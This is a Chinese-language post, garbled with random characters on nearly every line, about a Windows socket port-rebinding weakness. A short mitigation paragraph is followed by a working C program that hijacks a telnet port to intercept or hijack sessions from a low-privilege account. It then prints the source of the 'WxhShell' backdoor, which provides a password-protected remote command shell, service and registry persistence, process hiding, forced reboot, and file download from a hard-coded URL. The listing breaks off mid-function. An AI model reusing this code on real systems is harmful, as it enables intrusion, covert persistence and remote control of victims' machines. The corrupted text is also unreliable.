在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
*^]lFuX\&E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
1 uKWvp0\ ups]k?4 saddr.sin_family = AF_INET;
2aROY2 4T]n64Yid saddr.sin_addr.s_addr = htonl(INADDR_ANY);
VeLuL:4I 6jdNQC$#B bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=Zg%& J qB%?t.k7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1:L _qL t%xD epFQ 这意味着什么?意味着可以进行如下的攻击:
h5vvizruy jJ(()EJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
!R{C @'
V=Vr 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5]c'n ENmfbJ4d~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
GIo7-
6kvm h x_,>\@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
p5 !B 4P1<Zi+< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
`pB]_"b R~=_,JUW 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
p2(U'x
c !!jitFHzb 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
{6V;$KqH6 aGUKpYF #include
`i'72\( #include
F@+FXnz #include
{
S]"-x #include
2YU-iipdOq DWORD WINAPI ClientThread(LPVOID lpParam);
-F7GUB6B int main()
)#NT* @j` {
@Ido6Z7 WORD wVersionRequested;
mJj
[f8 DWORD ret;
C(RZ09,.S WSADATA wsaData;
'+@q BOOL val;
|H.i$8_A SOCKADDR_IN saddr;
2s+ITPr SOCKADDR_IN scaddr;
>EMsBX int err;
.V4w+:i SOCKET s;
&zGf`Zi6*% SOCKET sc;
Nb[zm|. int caddsize;
dZMOgZ.!yr HANDLE mt;
fR:BF47 DWORD tid;
Sr9)i8x{ wVersionRequested = MAKEWORD( 2, 2 );
(JgW")M`cY err = WSAStartup( wVersionRequested, &wsaData );
,wyfMOGLt if ( err != 0 ) {
X {["4 printf("error!WSAStartup failed!\n");
WcG!6.U> return -1;
F|rJ{=x
}
;q8tOvQ saddr.sin_family = AF_INET;
s8/sH]; gM0^k6bB8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
aJQx"6c? Z#J
cNquM saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
u]D>O$_ s saddr.sin_port = htons(23);
Sqc
r
- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~^6[SbVb {
}qqE2;{ND printf("error!socket failed!\n");
J ejDF*Q return -1;
?u*gKI }
n$jOk
|W val = TRUE;
MS_@
Xe //SO_REUSEADDR选项就是可以实现端口重绑定的
mKsTA; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
0n'~wz"wB {
r87)?-B printf("error!setsockopt failed!\n");
7tEK&+H` return -1;
y<53xZi }
3!+N}[$iy //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>z(AQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
)yHJc$OlMx //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#/UlW m|7lDfpb if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
# 1S*}Q<k {
DE0gd
ux8 ret=GetLastError();
nb
-Je+ printf("error!bind failed!\n");
/Ir|& <yB return -1;
,>: }
X2Z
E9b listen(s,2);
lbRm(W( while(1)
j K!Y- {
9PU9BYBG caddsize = sizeof(scaddr);
]m>N!Iu //接受连接请求
v7V.,^6+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
z>,fuR?9 if(sc!=INVALID_SOCKET)
zoj3w|G {
<Z$r\Huf mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
SP&Y|I$: if(mt==NULL)
3Zr'Mn {
qrWeV8ur+ printf("Thread Creat Failed!\n");
+[=yLE#P% break;
;yc|=I^ }
Tb2Tb2C }
S$=e %c CloseHandle(mt);
!<ae~#]3P }
w6^X*tE closesocket(s);
DgJG: D{ WSACleanup();
B\/"$" return 0;
ylV.ZoY6 }
O_f+#K) DWORD WINAPI ClientThread(LPVOID lpParam)
oX2J2O {
ndsu}:my SOCKET ss = (SOCKET)lpParam;
|5ifgSZ SOCKET sc;
f;Iaf#V_ unsigned char buf[4096];
|o:[*2- SOCKADDR_IN saddr;
.^?^QH3 long num;
6{XdLI DWORD val;
l~Em2@c DWORD ret;
]<V,5'xh //如果是隐藏端口应用的话,可以在此处加一些判断
nA!Xb'y& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
2'R&K saddr.sin_family = AF_INET;
EmaVd+Sw saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;+) M~2 = saddr.sin_port = htons(23);
4. &t if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y|s?9'z {
cY}Nr#%s@U printf("error!socket failed!\n");
q ;@:,^ return -1;
k 5<[N2D|! }
:+Pl~X"_ val = 100;
:6^8Q,C1@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hhS]wM?B {
,O9rL :? ret = GetLastError();
F$Cf\#{3 return -1;
X j'7nj }
rCwjy&SuU^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v7"Hvp3w {
xJ;DkPh ret = GetLastError();
d/Sx+1
"{T return -1;
W|go*+`W% }
aS7[s6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ly0U')D: {
A.mIqu,: printf("error!socket connect failed!\n");
\Ty%E< closesocket(sc);
bt$+l[U^J closesocket(ss);
/K#t$O4 return -1;
aYjFRH` }
]Z@+
|&@L while(1)
vFKt=o$ g {
O_PKS$sz{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
l
)hg!( //如果是嗅探内容的话,可以再此处进行内容分析和记录
Hkc:B/6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~}SOd<n)| num = recv(ss,buf,4096,0);
$
}u,uI if(num>0)
/r4QDwu send(sc,buf,num,0);
aZe[Nos else if(num==0)
yM3]<~m break;
Qi_De
'@ num = recv(sc,buf,4096,0);
G1Qc\mp if(num>0)
IZ2c<B5& send(ss,buf,num,0);
R+c
{Pl else if(num==0)
6j]pJ]F6 break;
ty8\@l }
t/6t{*-w closesocket(ss);
=uZOpeviQ closesocket(sc);
9w-V +Nf return 0 ;
;2m<#~@0 }
0A~zuK . Q#X'j </K"\EU ==========================================================
LnN6{z{M %hYol89F 下边附上一个代码,,WXhSHELL
MTKd:.J6 ]}g;q*!J ==========================================================
; r SpM &{s`=IeN #include "stdafx.h"
#&Zb8HAj Y)x(+# #include <stdio.h>
6J|Ee1Ez #include <string.h>
lP@/x+6tg #include <windows.h>
c3\z #include <winsock2.h>
6%mFiX #include <winsvc.h>
SX$Nef9p #include <urlmon.h>
^9})@,(D
RVxlN* #pragma comment (lib, "Ws2_32.lib")
!MOgM #pragma comment (lib, "urlmon.lib")
3^>D | rb+&] #define MAX_USER 100 // 最大客户端连接数
2:(h17So #define BUF_SOCK 200 // sock buffer
^&o38=70* #define KEY_BUFF 255 // 输入 buffer
*wml
4lh =[O;/~J%: #define REBOOT 0 // 重启
axTvA(k9 #define SHUTDOWN 1 // 关机
k+^-;=u6< t3TnqA #define DEF_PORT 5000 // 监听端口
a0Y/,S*K wIW]uo/= #define REG_LEN 16 // 注册表键长度
E(i<3U"4h[ #define SVC_LEN 80 // NT服务名长度
N'L3Oa\% 2
{lo // 从dll定义API
`+~@VZ3m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
C<!%VHs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
V 0<>Xo% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0Hz*L,Bh4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
yqpb_h9 \W<r`t4v // wxhshell配置信息
JrF\7*rh9 struct WSCFG {
PvzB, 2": int ws_port; // 监听端口
<y+8\m char ws_passstr[REG_LEN]; // 口令
S[o_$@| int ws_autoins; // 安装标记, 1=yes 0=no
q?x.P2 char ws_regname[REG_LEN]; // 注册表键名
+L4_] char ws_svcname[REG_LEN]; // 服务名
i,=CnZCh char ws_svcdisp[SVC_LEN]; // 服务显示名
c
k= char ws_svcdesc[SVC_LEN]; // 服务描述信息
mQQ5>0^m char ws_passmsg[SVC_LEN]; // 密码输入提示信息
QdM&M^ int ws_downexe; // 下载执行标记, 1=yes 0=no
kan?2x char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^-3R+U- S char ws_filenam[SVC_LEN]; // 下载后保存的文件名
90%alG1>y ]M|Iy~
X };
+jcg[|-'/ q]%c
6{w // default Wxhshell configuration
8$fiq}a struct WSCFG wscfg={DEF_PORT,
*i[^- "xuhuanlingzhe",
Z8??+d= 1,
Nl_Sgyx,\ "Wxhshell",
,B>Rc# "Wxhshell",
RlU= "WxhShell Service",
l\W[WQPh "Wrsky Windows CmdShell Service",
\JBJ$lBL "Please Input Your Password: ",
h9)QQPP 1,
dm60O8 "
http://www.wrsky.com/wxhshell.exe",
'-F
}(9M "Wxhshell.exe"
Te`Z
Qqb };
$7{V+> {1^9* // 消息定义模块
&lYZ=|6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~Co7 %e V char *msg_ws_prompt="\n\r? for help\n\r#>";
;;E "+. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
gt5 char *msg_ws_ext="\n\rExit.";
xF*C0B;QL char *msg_ws_end="\n\rQuit.";
$=8?@My< char *msg_ws_boot="\n\rReboot...";
?`Oh]2n)6 char *msg_ws_poff="\n\rShutdown...";
jI$}\*g char *msg_ws_down="\n\rSave to ";
*
%p6+D-C sF?N vp char *msg_ws_err="\n\rErr!";
.7-Yu1{2 char *msg_ws_ok="\n\rOK!";
f
Q.ea#xh^ pIh%5ZU char ExeFile[MAX_PATH];
uy~KJn?Tu int nUser = 0;
[@@Ovv HANDLE handles[MAX_USER];
s9 '*Vm int OsIsNt;
Cc:m~e6r n237%LH[ SERVICE_STATUS serviceStatus;
lgC|3] SERVICE_STATUS_HANDLE hServiceStatusHandle;
J7R+|GTcx *pN,@ZV$ // 函数声明
RltG/ZI int Install(void);
XDvT#(Pu int Uninstall(void);
C[$uf int DownloadFile(char *sURL, SOCKET wsh);
`jR;RczC int Boot(int flag);
N{@kgc void HideProc(void);
p&=F:- int GetOsVer(void);
@b=b>V[d6 int Wxhshell(SOCKET wsl);
8S1%;@c void TalkWithClient(void *cs);
CtwMMZXX3 int CmdShell(SOCKET sock);
|[x) %5F int StartFromService(void);
W! FmC$Kc int StartWxhshell(LPSTR lpCmdLine);
W P1>) sa8Sy& X" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?U]/4] VOID WINAPI NTServiceHandler( DWORD fdwControl );
yi3@-
@>'.F<:P< // 数据结构和表定义
K ;2tY+I SERVICE_TABLE_ENTRY DispatchTable[] =
|5SYKA7CS {
RaFk/mSw {wscfg.ws_svcname, NTServiceMain},
5B{O!SNd {NULL, NULL}
n$ye:p>`- };
Z3=DM=V;v EJYfk?(B // 自我安装
xq',pzN int Install(void)
-`6O(he {
<Tr_,Ya{9 char svExeFile[MAX_PATH];
7\aLK# HKEY key;
9viQ<}K< strcpy(svExeFile,ExeFile);
r=dFk?8XbC 8Z>ZjNG // 如果是win9x系统,修改注册表设为自启动
uY;-x~Z if(!OsIsNt) {
7SE=otZ> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7>EjP&l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
IMzhEm RegCloseKey(key);
LQSno)OZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&*Eyw
s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
LV{a^!f`y RegCloseKey(key);
?\:ysTVu return 0;
F9]j{'# }
sbOa]
5] }
[#H$@g|CT }
@W|}|V5 else {
HUurDgRi] M?5[#0"&V // 如果是NT以上系统,安装为系统服务
c$
Kn.<a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Qh-k[w0 if (schSCManager!=0)
9I/o;Js {
JMN1+:7i SC_HANDLE schService = CreateService
ulsr)Ik (
Y[x9c0 schSCManager,
['m@RJm+ wscfg.ws_svcname,
O&]Y.Z9,A wscfg.ws_svcdisp,
1tG,V%iCp SERVICE_ALL_ACCESS,
R,01.N( U SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%(b`i C9 SERVICE_AUTO_START,
r7sPFM SERVICE_ERROR_NORMAL,
bU1UNm`{C svExeFile,
?lCKZm.,(- NULL,
xmZ]mu,,$ NULL,
D!TL~3d
1 NULL,
s]0x^"#B NULL,
@#ih;F NULL
39?iX'*p );
T$13"?sr= if (schService!=0)
'.oEyZA;o {
f+Nq?GvwBQ CloseServiceHandle(schService);
CDei+ q CloseServiceHandle(schSCManager);
iUqL / strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
I'G$: GX strcat(svExeFile,wscfg.ws_svcname);
AEm?g$a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
;5-Sn(G RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
S'vi +_ RegCloseKey(key);
nn$,|/ return 0;
D
%~s }
>1xlP/4jx }
vWI9ocl`W CloseServiceHandle(schSCManager);
9}t2OJS*h" }
LOi5 ^Um| }
z=vfP% d$g-u8 return 1;
+](^gaDw<L }
~h?zK1 oT$w14b // 自我卸载
6Km@A M] int Uninstall(void)
G_=`&i"4 {
E
N%cjvE HKEY key;
1p>5ZkHb Z<z(;)?c if(!OsIsNt) {
xlkEW&N& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^_KHw RegDeleteValue(key,wscfg.ws_regname);
-gH1`*YL RegCloseKey(key);
K=VYRY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
VWd=7 RegDeleteValue(key,wscfg.ws_regname);
r8+{HknB; RegCloseKey(key);
~j",ePl return 0;
LnvC{#TFO }
s$J0^8Q~i }
JC}y{R8 }
HS]|s': else {
"zR+} PoY+Y3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8$-(% if (schSCManager!=0)
'>_'gR0O {
nRN&u4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{,|*99V if (schService!=0)
c&IIqT@Gb0 {
#0"Fw$Pc if(DeleteService(schService)!=0) {
_kl.zw% CloseServiceHandle(schService);
[Hy0j* CloseServiceHandle(schSCManager);
[GZ%K`wx return 0;
xl@l< }
,*8}TIS(s CloseServiceHandle(schService);
yb56nd }
M?x/C2| CloseServiceHandle(schSCManager);
|2AK~t|t }
j%Y`2Ra }
i}N'WV`! ([iMOE[D3 return 1;
I/rq@27o }
*Ibl+ Xa#`VDh // 从指定url下载文件
O8TAc]B int DownloadFile(char *sURL, SOCKET wsh)
^k]OQc7q' {
wqJ^tA! HRESULT hr;
3|-)]^1O char seps[]= "/";
gI6./;;x char *token;
p ElF,Y char *file;
D`,W1Z# char myURL[MAX_PATH];
d%NO_=I. char myFILE[MAX_PATH];
3i=+ [ fmY=SqQG- strcpy(myURL,sURL);
F#eZfj~ token=strtok(myURL,seps);
c?"#x-<1s while(token!=NULL)
5;oWFl {
IM|VGT0 file=token;
i-~HT4iw token=strtok(NULL,seps);
z{Z'2 ,# }
4*d$o=wa '@i/?rNi%N GetCurrentDirectory(MAX_PATH,myFILE);
rR&; 2 strcat(myFILE, "\\");
03L+[F&"? strcat(myFILE, file);
.Ebg>j:\ send(wsh,myFILE,strlen(myFILE),0);
s6%% /| send(wsh,"...",3,0);
?<bByxa hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
SwpS6 if(hr==S_OK)
g"c\ouSY return 0;
xX*I.saK else
$3zs?Fd` return 1;
DX l3 j[k&O)A{C }
A
'rfoA6 Z0s}65BR // 系统电源模块
YvL5>; int Boot(int flag)
>VM@9Cph {
"VR>nyG% HANDLE hToken;
.z4
fJx TOKEN_PRIVILEGES tkp;
=<MSM\Rb n|sP0,$N1 if(OsIsNt) {
EE(1;]d- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{Y6U%HG{{r LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
WM$}1:O tkp.PrivilegeCount = 1;
-61{ MMiA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
pSvRyb.K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/J )MW{;O if(flag==REBOOT) {
A-Be}A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3&:Us|} return 0;
X|fl_4NC> }
$!%/Kk4M else {
o8;>E>; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ZpvURp,I return 0;
WcqQR))n }
| s%--W }
X Uc(7>k else {
)0UVT[7 if(flag==REBOOT) {
_[u&}i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Vw:.'-Oi return 0;
jcD_<WSe }
8Y?zxmwn] else {
2kb<;Eh`G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
kN_
i0~y@- return 0;
8Yc'4v#} }
1Kszpt(Ld }
ui%B|b&& rT7W_[&P return 1;
WyciIO1 }
IA I!a1e! ~(bY-6z // win9x进程隐藏模块
S^(OjS void HideProc(void)
w#mna b@ {
$X<O\Kna 'ol8l Ia.P HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
~A^E_ if ( hKernel != NULL )
$2uk;&"?A= {
@i2"+_}* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/iURP-rl ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
3'tcEFkH FreeLibrary(hKernel);
_#32hAI }
p_%dH -E{D'X return;
1oU/gm$7\q }
PJ}d-
8p D$/ // 获取操作系统版本
`t[b0; 'OH int GetOsVer(void)
0x BO5[w,Y {
-#@l`kt OSVERSIONINFO winfo;
Z
0&=Lw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
EMy>X GetVersionEx(&winfo);
@'n075)h if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
h|~I'M]* return 1;
jMUd,j`Opx else
q[?xf3 return 0;
h [*/Tnr }
`%S 35x9 "y~tAg // 客户端句柄模块
fghw\\]3 int Wxhshell(SOCKET wsl)
)&/ecx"2Q {
oP>+2.i SOCKET wsh;
$fifx>! struct sockaddr_in client;
7p1f*N[X DWORD myID;
!UHWCJ<
<w x -;tV=E} while(nUser<MAX_USER)
,GOH8h {
EPeKg{w int nSize=sizeof(client);
"06t"u<% wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I;xSd.- if(wsh==INVALID_SOCKET) return 1;
{:=sCY! [}>!$::Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\dAs<${( if(handles[nUser]==0)
suOWmqLs closesocket(wsh);
)LC"rSNx% else
ya3k;j2C nUser++;
YMSZcI }
'Fq+\J#% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Lf0X(tC tuK2D,6 return 0;
jD}G9=[$1 }
wWkMvs ?iXN..6x // 关闭 socket
8MQb5( ! void CloseIt(SOCKET wsh)
I9
(6 {
WwDd62g closesocket(wsh);
@T.+:U@S nUser--;
J2ZV\8t ExitThread(0);
x-nO; L-2p }
^cDHC^Wm j_3`J8WwF // 客户端请求句柄
hs^K9Jt void TalkWithClient(void *cs)
WUBI(g\ {
:+ZLKm 8
$qj&2 N SOCKET wsh=(SOCKET)cs;
i(qZ#oN char pwd[SVC_LEN];
X'uQr+p^ char cmd[KEY_BUFF];
<aQ<Wy=\ char chr[1];
RCqd2$K"J+ int i,j;
,,G[360 0u) m9eg while (nUser < MAX_USER) {
h0.2^vM)R n }kn|To~ if(wscfg.ws_passstr) {
/\.[@] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{gz-w|7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/hN;\Z[@ //ZeroMemory(pwd,KEY_BUFF);
v<3KxP'a i=0;
=h\unQ1T while(i<SVC_LEN) {
'MgYSP< c/DK31K // 设置超时
O!G!Gq& fd_set FdRead;
zm!M'|~@7 struct timeval TimeOut;
4`e[gvh FD_ZERO(&FdRead);
q6'Q-e) FD_SET(wsh,&FdRead);
pC~M5(F_ TimeOut.tv_sec=8;
5>6:#.f%!e TimeOut.tv_usec=0;
:X}n[K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
9Iu"DOxX% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
.H@b zm Cs4ks`Z18 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
~^TH5n pwd
=chr[0]; R53^3"q~
if(chr[0]==0xd || chr[0]==0xa) { $\+x7"pI
pwd=0; + 70x0z2
break; N:q\i57x
} NkV81?
i++; A?bqDy
} uH&B=w
t6uYFxE
// 如果是非法用户,关闭 socket ds2%i
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vk> &
} pZcY[a
BCfmnE4%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,j6R/sg
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GT7&>}FJ)
&\=Tm~
while(1) { U8.V Rn
7`j%5%q
ZeroMemory(cmd,KEY_BUFF); %M3L<2
'}^qz#w
// 自动支持客户端 telnet标准 !r8_'K5R(
j=0; bvOnS0,y
while(j<KEY_BUFF) { k!ID
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oJZxRm[g$t
cmd[j]=chr[0]; z/]]u.UP
if(chr[0]==0xa || chr[0]==0xd) { $1$0M
cmd[j]=0; M1]}yTCd
break; R<
L =&I
} fK6[ p&
j++; "} "/d(
} C
:An
mW$Oi++'d
// 下载文件
:R`e<g~4
if(strstr(cmd,"http://")) { 5 JlgnxRq
send(wsh,msg_ws_down,strlen(msg_ws_down),0); mlxtey6H3
if(DownloadFile(cmd,wsh)) Y&1N*@YP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3G[|4v?[<_
else "=w:LRw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XzPOqZ`Nv
} F$-f j "jC
else { t.+)g-X
#mU<]O
switch(cmd[0]) { >$tU @mq
!Rc
%
// 帮助 cQ]c!G|a4
case '?': { k'_f?_PBu
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h% KEg667
break; aAbA)'G
} ,]@K,|pC)
// 安装 t7xJ$^p[|K
case 'i': { m_;fj~m
if(Install()) O,Tp,wT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ==
E8^jYJw
else ?em8nZ'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _9]vlxgtG(
break; -wrVEH8
} D;s%cL`
// 卸载 `#'j3,\6
case 'r': { wAw1K 2d
if(Uninstall()) .'&pw}F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c:e3hJ
else I(Qz%/ Ox
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (uDAdE5
break; |gWA'O0S
} -b
iE
// 显示 wxhshell 所在路径 O_qwD6s-_
case 'p': { oN[}i6^,e
char svExeFile[MAX_PATH]; O\ _ro.
strcpy(svExeFile,"\n\r"); >|c?ZqW
strcat(svExeFile,ExeFile); 2*<Zc|uNW
send(wsh,svExeFile,strlen(svExeFile),0); 8h0C G]
break; ilde<!?
} ImG8v[Q
E
// 重启 hsQDRx%H}
case 'b': { ht*(@MCr<
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \i/HHP[%
if(Boot(REBOOT)) ~&<t++ g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =
else { ?QmtZG.$
closesocket(wsh); HHZw-/s,%
ExitThread(0); xVw@pR;
} ]\KVA)\
break; ^8EW/$k
} <$yA*
// 关机 `u}_O(A1pA
case 'd': { mZ2CGOR
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :{N*Z }]
if(Boot(SHUTDOWN)) I5q$QQK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >I0;MNX
else { }ymW};W
closesocket(wsh); 9DJ&J{2W
ExitThread(0); zt:
!hM/Vt
} ZT@=d$Z&t
break; ?IYu"UO<)|
} MOK}:^bSu
// 获取shell O-HS)g$2
case 's': { &BLCP d
CmdShell(wsh); J}&U[ds p
closesocket(wsh); ,{!,%]bC
ExitThread(0); EYn?YiVFU
break; w$/lq~zU
} h$kz3r;b,"
// 退出 r&m49N,d
case 'x': { I]`RvT
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |YsR;=6wT
CloseIt(wsh); :P}3cl_
break; :Rb\Ca
} j&,Gv@
// 离开 {N>ju
case 'q': { `@
YV
send(wsh,msg_ws_end,strlen(msg_ws_end),0); sBB[u'h!
closesocket(wsh); X+ITW#
WSACleanup(); 2zqaR[C
exit(1); l>K+4
break; ,\J 8(,%L
} <wk
} 6`O,mpPu4G
} ru@#s2
\894Jqh
// 提示信息 #?Kw
y
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0:
a2ER|J
} $*942. =Q
} pdRM%ug
:-}K:ucaj
return; b"A,q
} 0t?o6e
o3dqsQE%
// shell模块句柄 )][U6 e
int CmdShell(SOCKET sock) Ny2
Z
<TW
{ _i {Y0d+
STARTUPINFO si; b'\Q/;oz>
ZeroMemory(&si,sizeof(si)); Q3tyK{JE
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z^U+oG
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +Q u.86dH
PROCESS_INFORMATION ProcessInfo; M i& ;1!bg
char cmdline[]="cmd"; LAlwQ^v|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >Xk42zvqn
return 0; v']_)
} oh< -&3Jn
+#MXeUX"
// 自身启动模式 m;~} }~&vQ
int StartFromService(void) a5pl/d
{ vSR&>Q%X
typedef struct ;:D-}t;
{ ;.uYWP|9
DWORD ExitStatus; #+1|O;PB#
DWORD PebBaseAddress; 3/`BK{
DWORD AffinityMask; (p{%]M
DWORD BasePriority; u -t=M]
